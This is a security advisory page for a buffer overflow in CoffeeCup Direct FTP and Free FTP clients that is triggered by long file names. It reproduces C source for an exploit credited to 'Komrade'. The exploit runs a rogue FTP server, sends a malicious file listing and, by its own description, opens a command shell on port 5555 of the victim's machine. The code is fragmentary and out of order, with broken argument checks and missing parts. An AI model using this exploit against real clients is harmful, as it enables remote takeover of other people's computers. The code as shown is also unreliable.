CoffeeCup FTP is "a fast no frills FTP program that makes it easy to drag and drop files to and from your Website".
A client side vulnerability in the program allows remote attacker to cause CoffeeCup FTP to execute arbitrary code. The flaw lies in the way CoffeCup handles long files names. The following exploit code can be used to test your version for the mentioned vulnerability.
Credit:
The information has been provided by unsecure.
CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit
created by Komrade
e-mail: unsecure(at)altervista(dot)org
web: http://unsecure.altervista.org
Tested on:
CoffeeCup Direct FTP 6.2.0.62
CoffeeCup Free FTP 3.0.0.10
on a Windows XP Professional sp2 operating system.
This exploit creates a fake FTP server on your machine, waiting for the
connection of an FTP client.
After the exploit is sent a shell (command prompt) is spawn on port 5555
of the target machine.
This exploit works locally or remotely.
Usage: coffecupbof [direct | free] [-l] [-r server IP]
Options:
direct | free "direct" to exploit a CoffeeCup Direct FTP client
"free" to exploit a CoffeeCup Free FTP client
-l executed locally
-r serverIP executed remotely. You need to specify the address
of the FTP server for the PASV command (Insert your IP address)
Examples:
C:\> coffeecupbof direct -l exploit for CoffeeCup Direct FTP executed locally
C:\> coffeecupbof free -r 10.0.0.1 exploit for CoffeeCup Free FTP executed remotely
if (((argc != 2) || (strcmp(argv[1], "direct") != 0) || (strcmp(argv[1], "free") != 0)) && ((argc != 3) ||
(strcmp(argv[2], "-l") != 0)) && ((argc != 4) || (strcmp(argv[2], "-r") != 0))){
printf("Usage: coffecupbof [direct | free] [-l] [-r server IP]\r\n\r\n");
printf("Options:\r\n");
printf(" direct | free\t\"direct\" to exploit a CoffeeCup Direct FTP client\r\n");
printf(" \t\t\"free\" to exploit a CoffeeCup Free FTP client\r\n");
printf(" -l\t\tworks locally.\r\n");
printf(" -r server IP\tworks remotely. You need to specify the address of the\r\n");
printf("\t\tFTP server for the PASV command (Insert your IP address)\r\n\r\n");
printf("Examples:\r\n");
printf(" coffeecupbof direct -l\t\texploit for CoffeeCup Direct FTP\r\n\t\t\t\texecuted locally\r\n");
printf(" coffeecupbof free -r 10.0.0.1\texploit for CoffeeCup Free FTP\r
\n\t\t\t\texecuted remotely\r\n");
return 0;
}
if(strcmp(argv[1], "direct") == 0)
version = 1;
else
version = 2;
err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));
if (err < 0){
printf("Error in bind(). Port may be in use\r\n");
return -1;
}
err = listen(sock,1);
if (err < 0){
printf("Error in listen()\r\n");
return -1;
}
lun = sizeof (struct sockaddr);
printf("Opening the FTP port and waiting for connections...\r\n");
client = accept(sock, (struct sockaddr*)&client_addr, &lun);
printf("Client connected from IP: %s\r\n\r\n", inet_ntoa(client_addr.sin_addr));
Sleep(800);
n = recv(client, received, sizeof(mess), 0);
if (n < 0){
printf("Error in recv()\r\n");
return -1;
}
received[n]=0;
printf("CLIENT: %s", received);
if (stricmp("USER", strtok(received, " ")) == 0)
strcpy(mess, "331 Anonymous access allowed, send password.\r\n");
else if (stricmp("PASS", strtok(received, " ")) == 0)
strcpy(mess, "230 Anonymous user logged in.\r\n");
else if (stricmp("PWD\r\n", received) == 0)
strcpy(mess, "257 \"/\" is current directory.\r\n");
else if (stricmp("CWD", strtok(received, " ")) == 0)
strcpy(mess, "257 \"/\" is current directory.\r\n");
else if (stricmp("TYPE", strtok(received, " ")) == 0)
strcpy(mess, "200 Type set to A.\r\n");
else if (stricmp("PASV\r\n", received) == 0){
fileListH = CreateThread(NULL, 0, fileList, NULL, 0, &fileListId);
if (fileListH == NULL)
printf("Error in CreateThread() %d", GetLastError());
wsprintf(mess, "227 Entering Passive Mode (%s4,82).\r\n", addr);
}
else if (stricmp("LIST", strtok(received, " ")) == 0 || stricmp("LIST\r\n", received) == 0){
strcpy(mess, "125 Data connection already open; Transfer starting.\r\n");
printf("SERVER: %s\r\n", mess);
n=send(client, mess, strlen(mess), 0);
if (n < 0){
printf("Error in send()\r\n");
return -1;
}
wait = FALSE;
do{
GetExitCodeThread(fileListH, &exitCode);
Sleep(100);
}
while(exitCode == STILL_ACTIVE);
printf("< Long file name sent to client >\r\n\r\n");
strcpy(mess, "226 Transfer complete.\r\n");
}
else
strcpy(mess, "550 Unimplemented\r\n");
printf("SERVER: %s\r\n", mess);
n = send(client, mess, strlen(mess), 0);
if (n < 0){
printf("Error in send()\r\n");
return -1;
}
}
printf("Wait.......");
Sleep(2000);
printf("Exploit succesfully sent!\r\n");
printf("Connect to %s port 5555 for the shell\r\n", inet_ntoa(client_addr.sin_addr));
WSADATA wData;
WORD p;
char mess[4096];
int lun, n, i, err;
p = MAKEWORD(2, 0);
WSAStartup(p, &wData);
sock=socket(PF_INET,SOCK_STREAM,0);
sock_addr.sin_family=PF_INET;
sock_addr.sin_port=htons(PASV_PORT);
sock_addr.sin_addr.s_addr=INADDR_ANY;
err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));
if (err < 0){
printf("Error in bind(). Port may be in use\r\n");
return -1;
}
err = listen(sock,1);
if (err < 0){
printf("Error in listen().\r\n");
return -1;
}
